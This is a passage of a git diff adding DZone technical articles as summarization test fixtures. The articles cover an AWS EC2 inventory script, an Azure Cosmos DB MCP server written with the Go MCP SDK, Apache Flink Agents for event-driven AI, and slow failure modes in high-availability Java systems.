worksheet.conditional_format(f'E2:E{row_count}', { + 'type': 'text', + 'criteria': 'containing', + 'value': 'stopped', + 'format': red_fmt + }) + + # Auto-adjust column widths + worksheet.set_column(0, 8, 20) + + print(f" Report generated: {filename}") + +if __name__ == "__main__": + # Define scope + target_regions = ['us-east-1', 'us-west-2'] + + # 1. Fetch + df_instances = get_ec2_inventory(target_regions) + + # 2. Analyze (Simple Pandas Logic) + print(f"Total Instances Found: {len(df_instances)}") + print(df_instances['State'].value_counts()) + + # 3. Report + timestamp = datetime.now().strftime("%Y%m%d") + generate_excel_report(df_instances, f"aws_inventory_{timestamp}.xlsx") Step 2: Why Python Beats VBA for Ops The shift from Excel VBA to Python provides three architectural advantages: Maintainability: VBA is locked inside a .xlsm binary file. Python scripts are plain text, version-controlled in Git, and easily peer-reviewed. API integration: VBA requires complex HTTP requests or external shell calls to interact with AWS. Python uses boto3, a native and well-maintained SDK. Speed: The VBA approach in the original study relied on memory arrays to speed up cell writing. Pandas abstracts this entirely, writing binary Excel files directly from memory without the overhead of the Excel GUI. Step 3: Automated Analysis Once the data is in a DataFrame, you can run logic checks before a human ever sees the report. Example: Detecting Zombie Instances Python # Identify instances running for > 30 days in 'Dev' environment +zombies = df[ + (df['State'] == 'running') & + (df['CostCenter'] == 'Dev') & + (df['LaunchTime'] < pd.Timestamp.now() - pd.Timedelta(days=30)) +] + +if not zombies.empty: + print(f"WARNING: {len(zombies)} potential zombie instances detected.") +    # Optional: Send Slack alert Results: The Impact of Automation Implementing this automated inventory pattern yielded significant operational improvements: Cost reduction: Identified and removed unused storage volumes and zombie instances, saving thousands in monthly spend. Time savings: Reduced the monthly inventory audit from 288 hours (manual) to zero hours (fully automated). Data freshness: Moved from a monthly manual snapshot to a daily automated feed, allowing operations teams to react to security risks in near real time. Conclusion You don’t always need a SaaS subscription to solve cloud management problems. By chaining together standard administrative tools — Boto3, Pandas, and Excel — you can build a robust, no-cost inventory system that fits your exact needs. Next Steps: Clone the script above. Schedule it to run every Monday morning via GitHub Actions or Jenkins. Email the report automatically to your FinOps team. The best observability tool is the one you actually look at. +============== diff --git a/tests/summarization/https___dzone.com_articles_build-ai-tools-go-mcp-sdk-databases.txt b/tests/summarization/https___dzone.com_articles_build-ai-tools-go-mcp-sdk-databases.txt new file mode 100644 index 0000000..cdb7317 --- /dev/null +++ b/tests/summarization/https___dzone.com_articles_build-ai-tools-go-mcp-sdk-databases.txt @@ -0,0 +1,257 @@ +The Model Context Protocol (MCP) has established itself as the ubiquitous standard for connecting AI applications to external systems. Since its release, there have been implementations across various programming languages and frameworks, enabling developers to build solutions that expose data sources, tools, and workflows to AI applications. For Go developers, however, the journey to an official MCP SDK took longer (compared to other SDKs like Python and TypeScript). Discussions and design/implementation work on the official Go implementation began during early to mid 2025. At the time of writing (January 2026), it stands at version 1.2.0. As a Gopher, I'm excited (and relieved!) to finally have a stable, official MCP Go SDK that the Go community can rely on. To explore its capabilities, I built an MCP server for Azure Cosmos DB. This blog post will dive into the MCP Go SDK fundamentals by walking through its specifics and exploring concepts like tools and servers. By the end, you'll understand how to use the MCP Go SDK to build your own MCP servers, with Azure Cosmos DB serving as a practical example. Note: This project is not intended to replace the Azure MCP Server or Azure Cosmos DB MCP Toolkit. Rather, it serves as an experimental learning tool that demonstrates how to combine the Azure and MCP Go SDKs to build AI tooling for Azure Cosmos DB. MCP Basics Let's briefly cover what MCP is and how the MCP Go SDK works. What Is the Model Context Protocol? The Model Context Protocol (MCP) is an open-source standard for connecting AI applications to external systems. It's often referred to as a USB-C port for AI applications — just as USB-C provides a standardized way to connect devices, MCP provides a standardized way to connect AI applications to data sources, tools, and workflows. With MCP, AI applications (ranging from IDEs like VS Code, CLI coding tools like GitHub Copilot or apps like Claude web/desktop) can: Access data sources (local files, databases, APIs) Use tools (search engines, calculators, external services) Execute workflows (specialized prompts, multi-step operations) This standardization means developers can build MCP servers once and have them work with any MCP-compatible AI application, rather than creating custom integrations for each platform. MCP Go SDK The official Go MCP SDK provides the building blocks to create MCP servers and clients in Go. Here's a minimal example of an MCP server with a simple tool: Go package main + +import ( + "context" + "log" + "strings" + + "github.com/modelcontextprotocol/go-sdk/mcp" +) + +type ReverseInput struct { + Text string `json:"text" jsonschema:"the text to reverse"` +} + +type ReverseOutput struct { + Reversed string `json:"reversed" jsonschema:"the reversed text"` +} + +func ReverseText(ctx context.Context, req *mcp.CallToolRequest, input ReverseInput) ( + *mcp.CallToolResult, + ReverseOutput, + error, +) { + runes := []rune(input.Text) + for i, j := 0, len(runes)-1; i < j; i, j = i+1, j-1 { + runes[i], runes[j] = runes[j], runes[i] + } + return nil, ReverseOutput{Reversed: string(runes)}, nil +} + +func main() { + // Create server + server := mcp.NewServer(&mcp.Implementation{ + Name: "text-tools", + Version: "v1.0.0", + }, nil) + + // Add a tool + mcp.AddTool(server, &mcp.Tool{ + Name: "reverse", + Description: "reverses the input text", + }, ReverseText) + + // Run over stdio + if err := server.Run(context.Background(), &mcp.StdioTransport{}); err != nil { + log.Fatal(err) +    } This example demonstrates the key concepts: Tool definition: A mcp.Tool with a name and description Input/output types: Structs with JSON schema tags that define the tool's interface Handler function: The actual logic that executes when the tool is called Server: Created with mcp.NewServer() and configured with tools Transport: How the server communicates (here using stdio) These concepts will be covered later on the blog. MCP Server in Action ▶️ To get a sense of what the server can do, take a look at this short demo of using the MCP server with Agent Mode in Visual Studio Code: This server exposes several tools that enable AI applications to interact with Azure Cosmos DB: list_databases – List all databases in a Cosmos DB account list_containers – List all containers in a specific database read_item – Read a specific item using its ID and partition key execute_query – Execute SQL queries against containers create_container – Create new containers with partition keys add_item_to_container – Add items to containers read_container_metadata – Retrieve container configuration details If you want to setup and configure the server, check out the GitHub repository. Alright, let's dive into how it's built. Understanding the Implementation Tools are the building blocks of an MCP server. Each tool represents a specific operation that the server can perform. Let's use the read_item tool as an example to understand the fundamental concepts of the MCP Go SDK and how it integrates with the Azure Cosmos DB Go SDK. MCP Tools: Definition, Handler, and Execution Flow An MCP tool consists of these components: Tool Definition The tool definition describes the tool to the AI application. Here's how we define the read_item tool: Go func ReadItem() *mcp.Tool { + return &mcp.Tool{ + Name: "read_item", + Description: "Read a specific item from a container in an Azure Cosmos DB database using the item ID and partition key", +    } The Tool struct contains: Name: A unique identifier for the tool Description: Helps the AI understand when to use this tool The SDK can automatically infer input and output schemas from your handler function's types, which we'll see next. Input and Output Types Type-safe input and output structures define the tool's interface: Go type ReadItemToolInput struct { +    Account      string `json:"account" jsonschema:"Azure Cosmos DB account name"` +    Database     string `json:"database" jsonschema:"Name of the database"` +    Container    string `json:"container" jsonschema:"Name of the container to read data from"` +    ItemID       string `json:"itemID" jsonschema:"ID of the item to read"` +    PartitionKey string `json:"partitionKey" jsonschema:"Partition key value of the item"` +} + +type ReadItemToolResult struct { +    Item string `json:"item" jsonschema:"The item data as JSON string"` +} The SDK uses these types to automatically generate JSON schemas and handle validation. JSON tags define how fields are serialized, and jsonschema tags provide descriptions that help AI applications understand what each field represents Tool Handler The handler is where the actual work happens. The MCP Go SDK provides a generic AddTool function that can bind tools to functions with this signature: Go func(ctx context.Context, request *CallToolRequest, input InputType) (result *CallToolResult, output OutputType, error) Here's the read_item handler: Go func ReadItemToolHandler(ctx context.Context, _ *mcp.CallToolRequest, input ReadItemToolInput) (*mcp.CallToolResult, ReadItemToolResult, error) { + // 1. Validate inputs + if input.Account == "" { + return nil, ReadItemToolResult{}, errors.New("cosmos db account name missing") + } + if input.Database == "" { + return nil, ReadItemToolResult{}, errors.New("database name missing") + } + // ... more validation + + // 2. Get Cosmos DB client + client, err := GetCosmosClientFunc(input.Account) + if err != nil { + return nil, ReadItemToolResult{}, err + } + + // 3. Navigate to the container + databaseClient, err := client.NewDatabase(input.Database) + if err != nil { + return nil, ReadItemToolResult{}, fmt.Errorf("error creating database client: %v", err) + } + + containerClient, err := databaseClient.NewContainer(input.Container) + if err != nil { + return nil, ReadItemToolResult{}, fmt.Errorf("error creating container client: %v", err) + } + + // 4. Read the item using Cosmos DB SDK + partitionKey := azcosmos.NewPartitionKeyString(input.PartitionKey) + itemResponse, err := containerClient.ReadItem(ctx, partitionKey, input.ItemID, nil) + if err != nil { + return nil, ReadItemToolResult{}, fmt.Errorf("error reading item: %v", err) + } + + // 5. Return the result + return nil, ReadItemToolResult{Item: string(itemResponse.Value)}, nil +} The handler handles (pun intended!) several things: Validates input parameters Interacts with Azure Cosmos DB Returns structured output Notice we return nil for the *mcp.CallToolResult. The SDK automatically handles the response marshaling for us. If we return an error, the SDK sets IsError: true in the result automatically. Authenticating With Azure Cosmos DB The MCP server uses NewDefaultAzureCredential from the Azure Identity SDK, which automatically handles multiple authentication methods, such as Azure CLI credentials (for local development), Managed Identity (for production), environment variables, and more: Go func GetCosmosDBClient(accountName string) (*azcosmos.Client, error) { + endpoint := fmt.Sprintf("https://%s.documents.azure.com:443/", accountName) + + cred, err := azidentity.NewDefaultAzureCredential(nil) + if err != nil { + return nil, fmt.Errorf("error creating credential: %v", err) + } + + client, err := azcosmos.NewClient(endpoint, cred, nil) + if err != nil { + return nil, fmt.Errorf("error creating Cosmos client: %v", err) + } + + return client, nil +} Once we have the client, we use the standard Azure Cosmos DB SDK patterns: client.NewDatabase() to get a database client databaseClient.NewContainer() to get a container client containerClient.ReadItem() to perform the actual read operation MCP Server: Bringing Tools Together The beauty here is that MCP provides the standardized interface for AI interactions, while the Azure Cosmos DB SDK handles all the database operations — the handler acts as the bridge between these two worlds. Now that we understand individual tools, let's see how they're organized within an MCP server. An MCP server exposes specific capabilities (tools, resources, prompts) to AI applications through the standardized MCP protocol. Creating the Server Here's how we create and configure the MCP server in main.go: Go func main() { + // Create the server with metadata + server := mcp.NewServer(&mcp.Implementation{ + Name: "mcp_azure_cosmosdb_go", + Title: "Go based MCP server for Azure Cosmos DB using the Azure SDK for Go and the MCP Go SDK", + Version: "0.0.1", + WebsiteURL: "https://github.com/abhirockzz/mcp_cosmosdb_go", + }, nil) + + // Register all tools with their handlers + mcp.AddTool(server, tools.ListDatabases(), tools.ListDatabasesToolHandler) + mcp.AddTool(server, tools.ListContainers(), tools.ListContainersToolHandler) + mcp.AddTool(server, tools.ReadContainerMetadata(), tools.ReadContainerMetadataToolHandler) + mcp.AddTool(server, tools.CreateContainer(), tools.CreateContainerToolHandler) + mcp.AddTool(server, tools.AddItemToContainer(), tools.AddItemToContainerToolHandler) + mcp.AddTool(server, tools.ReadItem(), tools.ReadItemToolHandler) + mcp.AddTool(server, tools.ExecuteQuery(), tools.ExecuteQueryToolHandler) + + // ... transport setup (covered next) +} Breaking this down: mcp.NewServer() creates a new server instance with: Implementation metadata: Name, title, and version that identify the server ServerOptions: Additional configuration (we use nil for defaults) mcp.AddTool() registers each tool with the server: Takes the server instance The tool definition (from functions like tools.ReadItem()) The handler function (like tools.ReadItemToolHandler) When the server connects to a client, it automatically advertises the tools capability, making all registered tools discoverable by the AI application. Transport: Connecting Server to Client A transport defines how the server communicates with clients. It's the communication channel that carries JSON-RPC messages between the server and client. The MCP Go SDK supports multiple transport types. HTTP Streamable Transport The server also supports http transport, which is ideal for web-based AI applications. Here's how we set it up: Go // Create the streamable HTTP handler +handler := mcp.NewStreamableHTTPHandler(func(req *http.Request) *mcp.Server { + return server +}, nil) + +// Start the HTTP server +if err := http.ListenAndServe(":9090", handler); err != nil { +    log.Fatalf("Server failed: %v", err) The NewStreamableHTTPHandler creates an HTTP handler that accepts incoming HTTP requests from MCP clients, and returns the appropriate server instance for each request. It handles the streamable transport protocol automatically and supports multiple concurrent client sessions This transport is ideal when you want to support web-based AI applications, and the server needs to be accessible over HTTP/HTTPS. This allows multiple clients to connect simultaneously. Stdio Transport Another common MCP transport is stdio, used when the server runs as a subprocess: Go err := server.Run(context.Background(), &mcp.StdioTransport{}) +if err != nil { + log.Fatal(err) +} The stdio transport runs as a subprocess started by the client and communicates via standard input/output streams. It's perfect for local MCP clients like GitHub Copilot CLI, Claude Code (or Desktop), etc. Both transports implement the same MCP protocol, so the server's tools work identically regardless of which transport you choose. The difference is purely in how the server connects to and communicates with clients. With the server created, tools registered, and transport configured, the MCP server is ready to accept connections from AI applications and execute operations against Azure Cosmos DB. Testing the MCP Server This involves verifying functionality at different layers of the stack. This server uses integration tests at two levels: tests that verify the MCP protocol aspects, and tests that focus on handler logic with database interactions. Let's explore both approaches. Before diving into testing, let's briefly understand what an MCP client is. Understanding MCP Clients An MCP client is the component that connects to an MCP server to consume its capabilities. In the context of the MCP server: In production: The client is typically an AI application (like Claude Desktop or VS Code) that discovers and calls our tools In testing: We create programmatic clients to verify our server works correctly The MCP Go SDK provides a Client type that we can use to connect to our server and call its tools, simulating how a real AI application would interact with it. Handler-Level Integration Testing With Azure Cosmos DB vNext Emulator Let's start by looking at tests that focus on handler logic and database interactions. It uses the Azure Cosmos DB vNext Emulator with testcontainers-go. From tools_test.go: Go func TestListDatabases(t *testing.T) { + tests := []struct { + name string + input ListDatabasesToolInput + expectError bool + expectedResult string + expectedErrMsg string + }{ + { + name: "valid account name", + input: ListDatabasesToolInput{ + Account: "dummy_account_does_not_matter", + }, + expectError: false, + expectedResult: testOperationDBName, + }, + { + name: "empty account name", + input: ListDatabasesToolInput{ + Account: "", + }, + expectError: true, + expectedErrMsg: "cosmos db account name missing", + }, + } + + for _, test := range tests { + t.Run(test.name, func(t *testing.T) { + _, response, err := ListDatabasesToolHandler( + context.Background(), + nil, + test.input, + ) + + if test.expectError { + require.Error(t, err) + assert.Contains(t, err.Error(), test.expectedErrMsg) + return + } + + require.NoError(t, err) + assert.Contains(t, response.Databases, test.expectedResult) + }) + } +} These tests call handlers directly (bypassing the MCP protocol layer) and use table-driven tests for input validation and error handling, business logic correctness, database operations, and edge cases. Go func setupCosmosEmulator(ctx context.Context) (testcontainers.Container, error) { + req := testcontainers.ContainerRequest{ + Image: "mcr.microsoft.com/cosmosdb/linux/azure-cosmos-emulator:vnext-preview", + ExposedPorts: []string{"8081:8081", "8080:8080"}, + WaitingFor: wait.ForListeningPort(nat.Port("8080")), + Env: map[string]string{ + "PROTOCOL": "http", + }, + } + + container, err := testcontainers.GenericContainer(ctx, testcontainers.GenericContainerRequest{ + ContainerRequest: req, + Started: true, + }) + // ... error handling + + return container, nil +} The testcontainers-go library automatically pulls the emulator image, starts the container, and cleans up after tests complete. This is set up once in the TestMain function and shared across all tests. MCP Protocol Integration Testing Beyond handler testing, we also verify the complete MCP protocol stack, from client request through server processing to response. Here's an example from mcp_integration_test.go: Go func TestMCPIntegration_ReadItem(t *testing.T) { + ctx := context.Background() + + // 1. Create MCP server and register the read_item tool + server := mcp.NewServer(&mcp.Implementation{ + Name: "test-cosmosdb-server", + Version: "0.0.1", + }, nil) + + mcp.AddTool(server, ReadItem(), ReadItemToolHandler) + + // 2. Create in-memory transports for testing + serverTransport, clientTransport := mcp.NewInMemoryTransports() + + // 3. Connect server + serverSession, err := server.Connect(ctx, serverTransport, nil) + require.NoError(t, err) + defer serverSession.Close() + + // 4. Create and connect client + client := mcp.NewClient(&mcp.Implementation{ + Name: "test-client", + Version: "0.0.1", + }, nil) + + clientSession, err := client.Connect(ctx, clientTransport, nil) + require.NoError(t, err) + defer clientSession.Close() + + // 5. Call the tool via MCP protocol + result, err := clientSession.CallTool(ctx, &mcp.CallToolParams{ + Name: "read_item", + Arguments: map[string]any{ + "account": "dummy_account_does_not_matter", + "database": testOperationDBName, + "container": testOperationContainerName, + "itemID": id, + "partitionKey": partitionKeyValue, + }, + }) + + // 6. Verify the response + require.NoError(t, err) + require.False(t, result.IsError) + require.NotEmpty(t, result.Content) + + // 7. Parse and validate the JSON response + textContent, ok := result.Content[0].(*mcp.TextContent) + require.True(t, ok) + + var response ReadItemToolResult + err = json.Unmarshal([]byte(textContent.Text), &response) + require.NoError(t, err) + + assert.NotEmpty(t, response.Item) +} This test demonstrates several key concepts: In-memory transports: mcp.NewInMemoryTransports() creates a pair of connected transports without requiring actual network communication — perfect for testing Client-server connection: Both server and client connect to their respective transports, establishing a session Tool invocation: clientSession.CallTool() sends a properly formatted MCP request Response handling: The result is parsed from the MCP protocol format back to our domain types Full protocol verification: This tests the complete round trip: request serialization → tool execution → response serialization → client parsing Both handler-level and protocol-level tests use the Azure Cosmos DB vNext emulator, not mocks. Handler-level tests provide feedback on business logic, while protocol-level tests ensure MCP compliance and end-to-end functionality. Wrap Up With the MCP Go SDK, building MCP servers has become significantly more accessible for Go developers. You don't have to go for Python anymore (sorry, Pythonistas, pun intended!). This MCP server demonstrates how to combine the MCP Go SDK with domain-specific tools — in this case, the Azure Cosmos DB Go SDK. While this server provides useful functionality for interacting with Cosmos DB from AI applications, its primary purpose is educational. As mentioned before, this is a learning tool that shows how to integrate MCP with real-world services, not a replacement for solutions like the Azure MCP Server or the Azure Cosmos DB MCP Toolkit. The specific patterns we covered (defining tools, implementing handlers, managing authentication, choosing transports, and writing integration tests) apply to any MCP server you might build. The same concepts apply, whether you're exposing APIs, databases, file systems, or custom business logic. Next Steps Ready to build your own MCP server? Here are some resources to get you started: MCP Go SDK resources: Documentation, design, and examples. MCP Specification: https://modelcontextprotocol.io/ Azure Cosmos DB Go SDK: https://pkg.go.dev/github.com/Azure/azure-sdk-for-go/sdk/data/azcosmos Azure Cosmos DB vNext Emulator and Testcontainers Guide: Integration Testing for Go Applications The MCP ecosystem is growing rapidly, and I am excited for Go developers who now have first-class support for participating in this evolution! +============== diff --git a/tests/summarization/https___dzone.com_articles_future-of-data-streaming-apache-flink-for-agentic-ai.txt b/tests/summarization/https___dzone.com_articles_future-of-data-streaming-apache-flink-for-agentic-ai.txt new file mode 100644 index 0000000..3c4de57 --- /dev/null +++ b/tests/summarization/https___dzone.com_articles_future-of-data-streaming-apache-flink-for-agentic-ai.txt @@ -0,0 +1,2 @@ +Agentic AI is changing how enterprises think about automation and intelligence. Agents are no longer reactive systems. They are goal-driven, context-aware, and capable of autonomous decision-making. But to operate effectively, agents must be connected to the real-time pulse of the business. This is where data streaming with Apache Kafka and Apache Flink becomes essential. Apache Flink is entering a new phase with the proposal of Flink Agents, a sub-project designed to power system-triggered, event-driven AI agents natively within Flink’s streaming runtime. Let’s explore what this means for the future of agentic systems in the enterprise. The State of Agentic AI Agentic AI is no longer experimental. It is still in the early stage of the adoption lifecycle, but it is starting to move into production for the first critical use cases. Agents today are expected to: Make real-time decisions Maintain memory across interactions Use tools autonomously Collaborate with other agents But these goals face real infrastructure challenges. Existing frameworks like LangChain or LlamaIndex are great for prototyping. But (without the help of other tools) they are not designed for long-running, system-triggered workflows that need high availability, fault tolerance, and deep integration with enterprise data systems. The real problem is integration. Agents must operate on live data, interact with tools and models, and work across systems. This complexity demands a new kind of runtime — one that is real-time, event-driven, and deeply contextual. Open Standards and Protocols for Agentic AI: MCP and A2A Standards are emerging to build scalable, interoperable AI agents. Two of the most important are: Model Context Protocol (MCP) by Anthropic: A standardized interface for agents to access context, use tools, and generate responses. It abstracts how models interact with their environment, enabling plug-and-play workflows. Agent2Agent (A2A) protocol by Google: A protocol for communication between autonomous agents. It defines how agents discover each other, exchange messages, and collaborate asynchronously. These standards help define what agents do and how they do it. But protocols alone are not enough. Enterprises need a runtime to execute these agent workflows in production — with consistency, scale, and reliability. This is where Flink fits in. Similar to microservices a decade ago, Agentic AI and protocols like MCP and A2A risk creating tight coupling and point-to-point spaghetti architectures if used in isolation. An event-driven data streaming backbone ensures these standards deliver scalable, resilient, and governed agent ecosystems instead of repeating past mistakes. The Role of Data Streaming for Agentic AI with Kafka and Flink Apache Kafka and Flink together form the event-driven backbone for Agentic AI. Apache Kafka provides durable, replayable, real-time event streams. It decouples producers and consumers, making it ideal for asynchronous agent communication and shared context. Apache Flink provides low-latency, fault-tolerant stream processing. It enables real-time analytics, contextual enrichment, complex event processing, and now — agent execution. Agentic AI requires real-time data ingestion to ensure agents can react instantly to changes as they happen. It also depends on stateful processing to maintain memory across interactions and decision points. Coordination between agents is essential so that tasks can be delegated, results can be shared, and workflows can be composed dynamically. Finally, seamless integration with tools, models, and APIs allows agents to gather context, take action, and extend their capabilities within complex enterprise environments. Apache Flink provides all of these natively. Instead of stitching together multiple tools, Flink can host the entire agentic workflow: Ingest event streams from Kafka Enrich and process data with Flink’s Table and DataStream APIs Trigger LLMs or external tools via UDFs Maintain agent memory with Flink state Enable agent-to-agent messaging using Kafka or Flink’s internal mechanisms A2A and MCP with Apache Kafka and Flink A2A and MCP define how autonomous agents communicate and access context. With Kafka as the event broker and Flink as the stream processor, enterprises can build scalable, decoupled, and context-aware Agentic AI systems. Agents can still communicate point-to-point with each other via protocols like A2A. But their information must often reach many systems, and multiple point-to-point links create brittle architectures. Kafka solves this by acting as the scalable, decoupled event backbone. More details: Agentic AI with the Agent2Agent Protocol (A2A) and MCP using Apache Kafka as Event Broker. FLIP-531: Building and Running AI Agents in Flink While this is already possible to implement today, Flink still needs more built-in support for standard protocols like MCP and A2A, along with native AI and ML capabilities, to fully meet the demands of enterprise-grade agentic systems. FLIP-531: Initiate Flink Agents as a new Sub-Project is an exciting Flink Improvement Proposal led by Xintong Song, Sean Falconer, and Chris Meyers. It introduces a native framework for building and running AI agents within Flink. Source: Apache Key Objectives Provide an execution framework for event-driven, long-running agents Integrate with LLMs, tools, and context providers via MCP Support agent-to-agent communication (A2A) Leverage Flink’s state management as agent memory Enable replayability for testing and auditing Offer familiar Java, Python, and SQL APIs for agent development With FLIP-531, Apache Flink goes beyond orchestration and data preparation in Agentic AI environments. It now provides a native runtime to build, run, and manage autonomous AI agents at scale. Developer Experience Flink Agents will extend familiar Flink constructs. Developers can define agents using endpoints coming soon to Flink’s Table API or DataStream API. They can connect to endpoints of large language models (LLMs), register models, call tools, and manage context — all from within Flink. Sample APIs are already available for Java, Python (PyFlink), and SQL. These include support for: Agent workflows with tools and prompts UDF-based tool invocation Integration with MCP and external model providers Stateful agent logic and multi-step workflows Roadmap Milestones The Flink Agents project is moving fast with a clear roadmap focused on rapid delivery and community-driven development: Q2 2025: MVP design finalized Q3 2025: MVP with model support, replayability, and tool invocation Q4 2025: Multi-agent communication and example agents Late 2025: First formal release and community expansion The team is prioritizing execution and fast iteration, with a GitHub-based development model and lightweight governance to accelerate innovation. Event-Driven Flink Agents: The Future of Always-On Intelligence The most impactful agents in the enterprise aren’t chatbots or assistants waiting for user input. They are always-on components, embedded in infrastructure, continuously observing and acting on real-time business events. Apache Flink Agents are built for this model. Instead of waiting for a request, these agents run asynchronously as part of an event-driven architecture. They monitor streams of data, maintain memory, and trigger actions automatically — similar to observability agents, but for decision-making and automation. This always-on approach is critical for modern use cases. Enterprises can’t afford delays in fraud detection, equipment failures, customer engagement, or supply chain response. Agents must act instantly — based on the data flowing through the system — not hours later via batch processing or human intervention. Apache Flink provides the ideal foundation. Its low-latency, stateful stream processing enables agents to: Observe and react to real-time signals from events, APIs, databases, or external SaaS requests Maintain state across workflows and business processes Collaborate asynchronously Trigger tools, request-response APIs, or downstream actions These aren’t chatbot wrappers — they’re autonomous services embedded in production. They function as part of your business nervous system, adapting in real time to changing conditions and continuously improving outcomes. This architecture is what enterprises truly need: automation that is fast, reliable, and context-aware. It reduces time to detect and resolve issues, improves SLA adherence, and enables proactive decisions across the organization. Always-on, embedded agents are the future of AI in business. Apache Flink is ready to power them. Let's explore a few excellent use case examples across different industries in the next section. Use Cases for Agentic AI with Apache Kafka and Flink Across Industries Agentic AI use cases are emerging across industries. These systems demand real-time responsiveness, contextual intelligence, and full autonomy. Traditional REST APIs, manual orchestration, and batch jobs fall short in these environments. Instead, enterprises need infrastructure that is continuous, stateful, event-driven, and always-on (as discussed explicitly in the section above). Apache Kafka and Apache Flink already power the data backbone of many digital-native organizations. For example: OpenAI uses Kafka and Flink to build the infrastructure behind its GenAI and Agentic AI offerings. TikTok relies on Flink and Kafka for its real-time recommendation engine and online model training architecture. With Flink Agents, developers can build: Always-on and ReAct-style agents with structured workflows Retrieval-augmented agents with semantic search Long-lived, stateful agents with memory Fully autonomous systems with tool and API access Example Use Cases Finance Fraud detection and risk scoring Compliance monitoring Adaptive trading systems with feedback loops Manufacturing Predictive maintenance for industrial equipment Smart factory optimization Supply chain agents managing demand and inventory Retail Real-time product tagging and catalog enrichment Personalized promotions based on customer behavior Inventory rebalancing and logistics agents Healthcare Patient monitoring and alerting Claims processing and document triage Compliance audits Telecommunications Self-healing networks Customer support automation with feedback loops Dynamic QoS optimization Gaming Adaptive AI opponents that respond to player behavior Dynamic content generation for evolving game environments Real-time moderation for abuse and cheating detection Public Sector Traffic and energy optimization in smart cities Automated citizen service assistants Public safety agents for emergency detection and response The Future of Agentic AI Is Event-Driven The rise of Agentic AI means a shift in infrastructure priorities. It’s not enough to invest in model quality or prompt engineering. Enterprises must also modernize their data and execution layer. Point-to-point communication between agents is fine for direct interaction, but at scale, the real value comes from an event-driven backbone like Kafka and Flink that ensures information reliably reaches all required systems. Flink Agents offer a production-grade, enterprise-ready foundation for agentic systems. They turn brittle demos into reliable applications by providing: Consistent real-time data via Kafka Stateful, fault-tolerant execution via Flink Standardized protocols via MCP and A2A Developer productivity via familiar APIs This combination reduces time to market, increases system resilience, and lowers operational costs. It gives developers and architects the tools to build agents like real software — scalable, testable, and observable. This shift is not a replacement for data lakes, lakehouses, or AI platforms. It complements them by enabling real-time, event-driven execution alongside batch and analytical workloads. The future of Agentic AI is event-driven. Apache Flink is ready to power it. +============== diff --git a/tests/summarization/https___dzone.com_articles_java-high-availability-failures.txt b/tests/summarization/https___dzone.com_articles_java-high-availability-failures.txt new file mode 100644 index 0000000..29d8dc6 --- /dev/null +++ b/tests/summarization/https___dzone.com_articles_java-high-availability-failures.txt @@ -0,0 +1,2 @@ +Most engineers imagine failures as sudden events. A service crashes. A node goes down. An alert fires, and everyone jumps into action. In real high-availability Java systems, failures rarely behave that way. They almost always arrive quietly first. Systems that have been running reliably for months or years begin to show small changes. Latency creeps up. Garbage collection pauses last a little longer. Thread pools spend more time near saturation. Nothing looks broken, and dashboards stay mostly green. Then one day, the system tips over, and the failure suddenly looks dramatic. The loud failure is easy to see. The quiet part is where the real story lives. Slow Degradation Is the Normal Failure Mode In production Java services, especially those under sustained load, failure is usually a process rather than an event. Memory pressure increases gradually. Threads block more often, waiting on shared resources. Downstream calls start taking slightly longer, which backs up request queues. Each change on its own looks harmless. Because these shifts happen slowly, they often fall below alert thresholds. A CPU chart might show sixty percent utilization, which looks fine. Heap usage might oscillate normally. Average latency might stay within limits. Meanwhile, tail latency, thread contention, and garbage collection behavior are drifting in the wrong direction together. By the time a threshold finally triggers, users are already feeling the impact. Threshold Alerts See Symptoms, Not Causes Static threshold alerts are a necessary part of any monitoring setup. They catch obvious failures and protect against sudden spikes. The problem is that they were never designed to detect gradual degradation. Thresholds work on individual metrics. Production failures do not. Real incidents emerge from correlated behavior across multiple parts of the system. Thread pools saturate while garbage collection accelerates. Latency increases while retry rates rise. None of these metrics alone may cross a critical line, but together they describe a system under stress. This is why teams often experience alert fatigue. Alerts fire too late or too often. Operators learn to ignore them. When something truly important happens, the signal gets lost in the noise. JVM Telemetry Already Tells the Story Modern Java runtimes expose an enormous amount of useful telemetry. Thread states, garbage collection frequency and pause times, allocation rates, latency percentiles, and inter-service delays are all available in most production environments. The challenge is not collecting this data. It is understanding how the pieces fit together. In healthy systems, these signals move within predictable patterns. When a system starts drifting toward failure, those patterns change. Thread contention increases at the same time as garbage collection behavior shifts. Latency tails widen while throughput stays flat. These changes often appear long before users see errors. Teams that learn to read system behavior rather than isolated metrics gain earlier visibility into trouble. Quiet Failures Create Operational Risk The most dangerous part of quiet failure is that it removes options. When a problem is detected early, operators have choices. Traffic can be throttled. Resources can be shifted. Noncritical work can be delayed. A controlled restart can be planned instead of forced. When detection comes late, teams are pushed into reactive mode. Decisions are made under pressure. Restarts happen during peak load. Incidents escalate quickly because the system has already consumed its safety margin. Even a small amount of lead time changes the nature of incident response. Predictive Signals Can Help When Used Carefully One way teams have started addressing this gap is by applying lightweight predictive techniques to JVM telemetry. These approaches learn what normal system behavior looks like and flag deviations that are statistically unusual. Used carefully, this kind of analysis can surface failure-prone conditions earlier than static alerts, especially when failures develop gradually. It is not a replacement for monitoring or human judgment. It is an additional signal that helps operators notice patterns that are hard to see on dashboards. Predictive approaches work best when systems are relatively stable, and failures show warning signs. They add little value for sudden crashes with no precursors. Understanding these limits is just as important as understanding the benefits. Operational Simplicity Beats Clever Systems One lesson that shows up repeatedly in long-running systems is that complexity is the enemy of reliability. As architectures grow more elaborate, they become harder to reason about under stress. During incidents, complexity slows diagnosis and recovery. This applies to monitoring as well. Detection mechanisms only help if operators understand and trust them. Signals that cannot be explained or acted upon are ignored, no matter how sophisticated they are. Reliable systems are usually the result of simple designs, clear operational signals, and teams that understand how their services behave under real conditions. Design for Behavior, Not Just Uptime High availability is often treated as an architectural goal. In practice, it is an operational discipline. Systems stay reliable because teams observe them closely, learn from near misses, and continuously refine how they detect and respond to early warning signs. Metrics should be chosen based on how they support decisions, not because they are easy to collect. Alerts should evolve as systems change. Post-incident reviews should focus on what the system was telling you before it failed, not just what broke at the end. In regulated or high-stakes environments, these practices are not optional. The cost of missing early signals is measured in trust, compliance risk, and real business impact. Conclusion High-availability Java systems rarely fail out of nowhere. They usually fail quietly first. The challenge is learning how to listen. Teams that move beyond single metric thinking and focus on system behavior gain earlier insight into emerging problems. Lightweight predictive signals can extend that insight when used thoughtfully. Above all, reliability comes from understanding how systems behave under pressure, not from adding more tools. The loud failure gets attention. The quiet part is where resilience is built. +============== diff --git a/tests/summarization/https___dzone.com_articles_mcp-security-governance-opportunity.txt b/tests/summarization/https___dzone.com_articles_mcp-security-governance-opportunity.txt new file mode 100644 index 0000000..238654b --- /dev/null +++ 